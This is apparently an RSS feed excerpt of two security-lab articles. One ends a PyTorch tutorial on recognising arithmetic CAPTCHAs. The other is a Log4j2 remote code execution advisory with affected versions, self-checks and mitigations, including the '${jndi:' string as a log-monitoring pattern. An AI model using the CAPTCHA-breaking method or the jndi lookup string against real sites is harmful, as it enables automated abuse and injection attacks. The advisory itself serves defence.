inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">13824</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1024</span>),<br/>            nn.Dropout(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.2</span>),  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># drop 20% of the neuron</span><br/>            nn.ReLU()<br/>        )<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第5层神经网络</span><br/>        self.fc2 = nn.Linear(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1024</span>, common.captcha_size * common.captcha_array.__len__())  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 5:验证码的长度， 16: 字母列表的长度</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 前向传播</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">forward</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(self, x)</span>:</span><br/>        x = x.to(device)<br/>        x = self.layer1(x)<br/>        x = self.layer2(x)<br/>        x = self.layer3(x)<br/>        x = x.view(x.size(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>), <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>)<br/>        x = self.fc1(x)<br/>        x = self.fc2(x)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> x<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">nn.Sequential()可以看作模块的有序容器，可以方便快捷的搭建神经网络。<br/>网络的输入是一个shape为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">[batch, 3, 60, 180]</code>的张量，batch代表的是一个批次图片数量，3代表输入的图片是3通道的，即RGB，180和60则分别代表图片的宽和高。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">经过上结构的卷积后，得到一个shape为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">[batch, 128, 6, 18]</code>的张量，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">x.view(x.size(0), -1)</code>将改变张量的shape为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">[batch, 128*6*18]</code>，再用一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">[1024, 16*5]</code>的全连接层映射为一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">[batch, 16*5]</code>张量，这个就是模型的输出，其中<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">16</code>代表字符的种类数量，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">5</code>代表一张验证码图片含有的字符数量。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">接下来就是验证码的训练了：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7666666666666667" data-s="300,640" style="" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=e6dc3bbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVYu6uVO5GoXoYgW6UKK8YP2QXrwyKL33uk4Ket4aAjwyIEhBqXGqfCQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">训练</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这里使用的是CPU进行训练的，训练样本生成了2000张，测试样本200张，刚开始训练准确率就可以到100%，而且速度不是太慢。</p><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">验证码生成的脚本：<a href="https://github.com/fupinglee/Calculate_Captcha" target="_blank">https://github.com/fupinglee/Calculate_Captcha</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;">如果是在GPU下训练，在CPU下使用模型时，需要进行转换：</p><p style="font-size: inherit;color: inherit;line-height: inherit;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">torch.load(model_path, map_location=torch.device(&#39;cpu&#39;))</code></p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">训练后测试的结果（200张测试准确率是100%，又另外生成了2000张验证码进行测试）：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.592896174863388" data-s="300,640" style="" data-type="png" data-w="732" src="https://wechat2rss.xlab.app/img-proxy/?k=d79d2563&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVkqibGibVuvDxGGDk1EJ0b0KAVr33icIJzbwliaI13iczPIA1aIqtFXrbMWQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">预测</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">经过测试，使用pytorch训练的准确率可以达到99%。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">附上完整的代码：</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><a href="https://github.com/fupinglee/CalculateCaptcha_Recognition" target="_blank">https://github.com/fupinglee/CalculateCaptcha_Recognition</a></p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x03  总结</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">本文通过2种方法来对计算验证码进行识别。第一种方法使用简单，但识别率较低，可以针对一些比较简单的验证码（比如验证码未进行扭曲、干扰等）。第二种方法使用简单，但识别率比较依赖样本的数量，前期验证码标注是一件麻烦事，但对于本文这种简单的验证码，少量的样本准确率也会很高。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x04  参考</span></h2><p>1.自动识别验证码破解上学吧题目答案</p><p><a href="https://guanqr.com/tech/computer/shangxueba-crack/" target="_blank">https://guanqr.com/tech/computer/shangxueba-crack/</a></p><p><br/></p><p>2.pyTorch -- 图形验证码识别</p><p><a href="https://zhuanlan.zhihu.com/p/215700831" target="_blank">https://zhuanlan.zhihu.com/p/215700831</a></p><p><br/></p><p>3.验证码代码</p><p><a href="https://github.com/fupinglee/Calculate_Captcha" target="_blank">https://github.com/fupinglee/Calculate_Captcha</a></p><p><br/></p><p>4.pytorch识别验证码代码</p><p><a href="https://github.com/fupinglee/CalculateCaptcha_Recognition" target="_blank">https://github.com/fupinglee/CalculateCaptcha_Recognition</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><br/></p></section><p><br/></p>



<p><a href="2247486047">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=00374e67&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486047%26idx%3D1%26sn%3Dfbbdcea5957b3d7dd531f7c94a90d522%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 28 Feb 2022 08:08:00 +0800</pubDate>
    </item>
    <item>
      <title>【安全风险提示】Apache Log4j2 远程代码执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486031&amp;idx=1&amp;sn=6ba8667008ec0dc4a06daca6c632109c</link>
      <description>12月9日，网上爆出Apache Log4j2 远程代码执行漏洞，目前漏洞PoC已在网上公开，影响严重。</description>
      <content:encoded><![CDATA[<p>
原创 <span>猎户实验室</span> <span>2021-12-10 10:06</span> <span style="display: inline-block;"></span>
</p>

<p>12月9日，网上爆出Apache Log4j2 远程代码执行漏洞，目前漏洞PoC已在网上公开，影响严重。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3c45465d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MWjLt0wCLwGU8Emu2mzcnB167Rw22HoyALJrNvV4fYDRVvdW8RMZ9SIS8ZHzU2BuzDjsiaM59tiah8Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">12月9日，网上爆出Apache Log4j2 远程代码执行漏洞，目前漏洞PoC已在网上公开，由于Apache Log4j2广泛地应用在中间件、开发框架与Web应用中，该漏洞影响范围极广，建议广大用户尽快排查相关漏洞。</p><h1 style="margin-top: 4px;margin-bottom: 4px;padding: 0.3em 4px;font-weight: 600;line-height: 1.25;font-size: 1.75em;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">漏洞描述</strong></h1><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">Log4j是一个基于Java的日志记录程序，Log4j2是Log4j的升级，重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。此次漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">复现结果如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6416666666666667" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3765f400&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWjLt0wCLwGU8Emu2mzcnB11W61KEDcSGuMVmibu7kLG10ALT0zCoKRVxtApc3e8oaRSWGwiasMJ3zw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><br/></p><h1 style="margin-top: 4px;margin-bottom: 4px;padding: 0.3em 4px;font-weight: 600;line-height: 1.25;font-size: 1.75em;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">分析评级</strong></h1><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">严重</strong></p><h1 style="margin-top: 4px;margin-bottom: 4px;padding: 0.3em 4px;font-weight: 600;line-height: 1.25;font-size: 1.75em;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">影响范围</strong></h1><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">受影响版本：</strong></p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">Apache Log4j 2.x &lt;= 2.14.1</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">已知受影响应用及组件：</strong></p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">Apache Solr</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">Apache Flink</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">Apache Druid</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">srping-boot-strater-log4j2</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">...</p><h1 style="margin-top: 4px;margin-bottom: 4px;padding: 0.3em 4px;font-weight: 600;line-height: 1.25;font-size: 1.75em;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">漏洞自查</h1><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">1.Java应用是否引入 log4j-api , log4j-core 两个jar</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">2.若使用Maven打包，查看项目的pom.xml文件中是否存在groupId为<code style="font-variant-ligatures: none;padding: 0.2em 0.4em;font-size: 13.6px;border-radius: 3px;font-family: var(--b3-font-family-code);word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-image: none;">org.apache.logging.log4j</code>的依赖</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">3.若程序使用gradle打包，查看build.gradle编译配置文件，是否存在<code style="font-variant-ligatures: none;padding: 0.2em 0.4em;font-size: 13.6px;border-radius: 3px;font-family: var(--b3-font-family-code);word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-image: none;">org.apache.logging.log4j</code>相关依赖</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">4.通过监测相关流量或者日志中是否存在“${jndi:”等字符来发现可能的攻击行为</p><h1 style="margin-top: 4px;margin-bottom: 4px;padding: 0.3em 4px;font-weight: 600;line-height: 1.25;font-size: 1.75em;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">处置建议</strong></h1><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">1.目前官方已公开修复代码，但尚未正式发布（升级时请提前做好备份）</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><a href="https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2" target="_blank">https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2</a></p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">2.可选择以下方案缓解：<br/>a.设置 log4j2.formatMsgNoLookups=True</p><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;">b.系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true<br/>c.禁止 log4j2 所在服务器外连</p><h1 style="margin-top: 4px;margin-bottom: 4px;padding: 0.3em 4px;font-weight: 600;line-height: 1.25;font-size: 1.75em;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, 